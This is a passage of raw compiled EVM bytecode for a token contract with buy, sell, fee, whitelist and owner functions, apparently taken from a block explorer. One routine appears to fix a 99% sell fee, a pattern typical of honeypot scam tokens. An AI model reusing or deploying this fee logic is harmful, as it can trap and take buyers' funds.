ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cd19190612f61565b60405180910390a35b5050611e3b565b611d528160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e329190612f61565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ea25750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611ed15750600b5f9054906101000a900460ff16158015611ed05750600b60019054906101000a900460ff165b5b80611f925750600b5f9054906101000a900460ff168015611f385750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611f91575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611ff6575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611ff557505f600a54145b5b612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c90613161565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561207e575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036120b5575f80fd5b6121058360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121968360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122349190612f61565b60405180910390a3600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806122ee5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061231d5750600b5f9054906101000a900460ff1615801561231c5750600b60019054906101000a900460ff165b5b806123de5750600b5f9054906101000a900460ff1680156123845750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612442575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561244157505f600a54145b5b612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890613161565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612501576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f8906132c0565b60405180910390fd5b600b60019054906101000a900460ff1615612901575f808390505f600a54118015612579575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156125cc5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612611576125f960646125eb600a5487612be590919063ffffffff16565b612c5c90919063ffffffff16565b915061260e8285612cb390919063ffffffff16565b90505b6126618460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127138160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127f39190612f61565b60405180910390a35f8211156128fa576128538260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128f19190612f61565b60405180910390a35b5050612aec565b6129518260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a038260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae39190612f61565b60405180910390a35b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612b27575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612bf5575f9050612c56565b5f8284612c02919061330b565b9050828482612c119190613379565b14612c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c48906133f3565b60405180910390fd5b809150505b92915050565b5f808211612c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c969061345b565b60405180910390fd5b8183612cab9190613379565b905092915050565b5f82821115612cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cee906134c3565b60405180910390fd5b8183612d0391906134e1565b905092915050565b5f808284612d199190613514565b905083811015612d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5590613591565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d9f578082015181840152602081019050612d84565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dc482612d68565b612dce8185612d72565b9350612dde818560208601612d82565b612de781612daa565b840191505092915050565b5f6020820190508181035f830152612e0a8184612dba565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e3f82612e16565b9050919050565b612e4f81612e35565b8114612e59575f80fd5b50565b5f81359050612e6a81612e46565b92915050565b5f819050919050565b612e8281612e70565b8114612e8c575f80fd5b50565b5f81359050612e9d81612e79565b92915050565b5f8060408385031215612eb957612eb8612e12565b5b5f612ec685828601612e5c565b9250506020612ed785828601612e8f565b9150509250929050565b5f8115159050919050565b612ef581612ee1565b82525050565b5f602082019050612f0e5f830184612eec565b92915050565b5f8060408385031215612f2a57612f29612e12565b5b5f612f3785828601612e8f565b9250506020612f4885828601612e8f565b9150509250929050565b612f5b81612e70565b82525050565b5f602082019050612f745f830184612f52565b92915050565b5f805f60608486031215612f9157612f90612e12565b5b5f612f9e86828701612e5c565b9350506020612faf86828701612e5c565b9250506040612fc086828701612e8f565b9150509250925092565b5f60ff82169050919050565b612fdf81612fca565b82525050565b5f602082019050612ff85f830184612fd6565b92915050565b5f6020828403121561301357613012612e12565b5b5f61302084828501612e5c565b91505092915050565b61303281612e35565b82525050565b5f60208201905061304b5f830184613029565b92915050565b5f806040838503121561306757613066612e12565b5b5f61307485828601612e5c565b925050602061308585828601612e5c565b9150509250929050565b5f602082840312156130a4576130a3612e12565b5b5f6130b184828501612e8f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130fe57607f821691505b602082108103613111576131106130ba565b5b50919050565b7f31333337000000000000000000000000000000000000000000000000000000005f82015250565b5f61314b600483612d72565b915061315682613117565b602082019050919050565b5f6020820190508181035f8301526131788161313f565b9050919050565b7f4c474254510000000000000000000000000000000000000000000000000000005f82015250565b5f6131b3600583612d72565b91506131be8261317f565b602082019050919050565b5f6020820190508181035f8301526131e0816131a7565b9050919050565b7f4f73616d610000000000000000000000000000000000000000000000000000005f82015250565b5f61321b600583612d72565b9150613226826131e7565b602082019050919050565b5f6020820190508181035f8301526132488161320f565b9050919050565b5f6040820190506132625f830185612f52565b61326f6020830184612f52565b9392505050565b7f53706f6e6765626f6200000000000000000000000000000000000000000000005f82015250565b5f6132aa600983612d72565b91506132b582613276565b602082019050919050565b5f6020820190508181035f8301526132d78161329e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61331582612e70565b915061332083612e70565b925082820261332e81612e70565b91508282048414831517613345576133446132de565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61338382612e70565b915061338e83612e70565b92508261339e5761339d61334c565b5b828204905092915050565b7f31333337313333373133333700000000000000000000000000000000000000005f82015250565b5f6133dd600c83612d72565b91506133e8826133a9565b602082019050919050565b5f6020820190508181035f83015261340a816133d1565b9050919050565b7f31333337313333370000000000000000000000000000000000000000000000005f82015250565b5f613445600883612d72565b915061345082613411565b602082019050919050565b5f6020820190508181035f83015261347281613439565b9050919050565b7f53706f6e676531333337626f62000000000000000000000000000000000000005f82015250565b5f6134ad600d83612d72565b91506134b882613479565b602082019050919050565b5f6020820190508181035f8301526134da816134a1565b9050919050565b5f6134eb82612e70565b91506134f683612e70565b925082820390508181111561350e5761350d6132de565b5b92915050565b5f61351e82612e70565b915061352983612e70565b9250828201905080821115613541576135406132de565b5b92915050565b7f313333374f73616d6100000000000000000000000000000000000000000000005f82015250565b5f61357b600983612d72565b915061358682613547565b602082019050919050565b5f6020820190508181035f8301526135a88161356f565b905091905056fea2646970667358221220e881d0ba521a59b6a4aa9daedfde8e912313785d0a3501c4ce5608004550147664736f6c63430008150033000000000000000000000000365f14792675a9d199ed91a247c3cf12ad6e6583003899162693736ac531a5a58f1fbb4b746504382ca7e3ffffffffffffffffff

Deployed Bytecode

0x60806040526004361061014a575f3560e01c806364bcf5f4116100b5578063a6f2ae3a1161006e578063a6f2ae3a14610460578063a9059cbb1461046a578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b806364bcf5f41461036657806370a0823114610390578063715018a6146103cc5780638da5cb5b146103e257806395d89b411461040c578063a64e4f8a146104365761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806344df8e70146102fc578063470624021461031257806347b5dd541461033c5761014a565b806306fdde031461014e578063095ea7b3146101785780630b78f9c0146101b457806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612df2565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612ea3565b6105e7565b6040516101ab9190612efb565b60405180910390f35b3480156101bf575f80fd5b506101da60048036038101906101d59190612f14565b6106d4565b005b3480156101e7575f80fd5b506101f0610828565b6040516101fd9190612f61565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f7a565b61082e565b6040516102399190612efb565b60405180910390f35b34801561024d575f80fd5b5061025661137a565b6040516102639190612efb565b60405180910390f35b348015610277575f80fd5b5061028061138c565b60405161028d9190612f61565b60405180910390f35b3480156102a1575f80fd5b506102aa611392565b6040516102b79190612fe5565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612ffe565b6113a4565b6040516102f39190612efb565b60405180910390f35b348015610307575f80fd5b506103106113c1565b005b34801561031d575f80fd5b50610326611647565b6040516103339190612f61565b60405180910390f35b348015610347575f80fd5b5061035061164d565b60405161035d9190612f61565b60405180910390f35b348015610371575f80fd5b5061037a611653565b6040516103879190612efb565b60405180910390f35b34801561039b575f80fd5b506103b660048036038101906103b19190612ffe565b611666565b6040516103c39190612f61565b60405180910390f35b3480156103d7575f80fd5b506103e061167b565b005b3480156103ed575f80fd5b506103f6611738565b6040516104039190613038565b60405180910390f35b348015610417575f80fd5b5061042061175d565b60405161042d9190612df2565b60405180910390f35b348015610441575f80fd5b5061044a6117e9565b6040516104579190612efb565b60405180910390f35b6104686117fc565b005b348015610475575f80fd5b50610490600480360381019061048b9190612ea3565b611e3f565b60405161049d9190612efb565b60405180910390f35b3480156104b1575f80fd5b506104ba612247565b6040516104c79190613038565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613051565b61226c565b6040516105039190612f61565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d919061308f565b61228c565b005b34801561053f575f80fd5b5061055a60048036038101906105559190612ffe565b612af0565b005b5f8054610568906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906130e7565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c29190612f61565b60405180910390a36001905092915050565b600b5f9054906101000a900460ff1615610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90613161565b60405180910390fd5b5f8214610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075c906131c9565b60405180910390fd5b606381146107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f90613231565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161081c92919061324f565b60405180910390a15050565b60025481565b5f83600b60029054906101000a900460ff16806108915750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806108c05750600b5f9054906101000a900460ff161580156108bf5750600b60019054906101000a900460ff165b5b806109815750600b5f9054906101000a900460ff1680156109275750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015610980575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806109e5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156109e457505f600a54145b5b610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90613161565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b90613231565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b56906132c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc4906131c9565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610bef57505f600a54115b8015610c48575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610c9b5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610ce057610cc86064610cba600a5488612be590919063ffffffff16565b612c5c90919063ffffffff16565b9150610cdd8286612cb390919063ffffffff16565b90505b610d308560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610dc18160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e5f9190612f61565b60405180910390a35f8211156110ae575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610fb557610f0a8360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fa89190612f61565b60405180910390a36110ac565b6110058360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110a39190612f61565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561118257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561136c576112128560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516113639190612f61565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b600b5f9054906101000a900460ff1661140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140690613231565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590613161565b60405180910390fd5b5f600854116114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d9906132c0565b60405180910390fd5b6114f9600854600254612d0b90919063ffffffff16565b60028190555061157260085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161163d9190612f61565b60405180910390a2565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461176a906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054611796906130e7565b80156117e15780601f106117b8576101008083540402835291602001916117e1565b820191905f5260205f20905b8154815290600101906020018083116117c457829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff168061185e5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061188d5750600b5f9054906101000a900460ff1615801561188c5750600b60019054906101000a900460ff165b5b8061194e5750600b5f9054906101000a900460ff1680156118f45750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561194d575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806119b2575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119b157505f600a54145b5b6119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e890613161565b60405180910390fd5b5f3411611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90613231565b60405180910390fd5b5f3490505f6009541115611ce1575f611a6a6064611a5c60095485612be590919063ffffffff16565b612c5c90919063ffffffff16565b90505f611a808284612cb390919063ffffffff16565b9050611af38160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd39190612f61565b60405180910390a35f821115611cda57611c338260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cd19190612f61565b60405180910390a35b5050611e3b565b611d528160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e329190612f61565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ea25750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611ed15750600b5f9054906101000a900460ff16158015611ed05750600b60019054906101000a900460ff165b5b80611f925750600b5f9054906101000a900460ff168015611f385750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611f91575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611ff6575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611ff557505f600a54145b5b612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c90613161565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561207e575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036120b5575f80fd5b6121058360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121968360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122349190612f61565b60405180910390a3600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806122ee5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f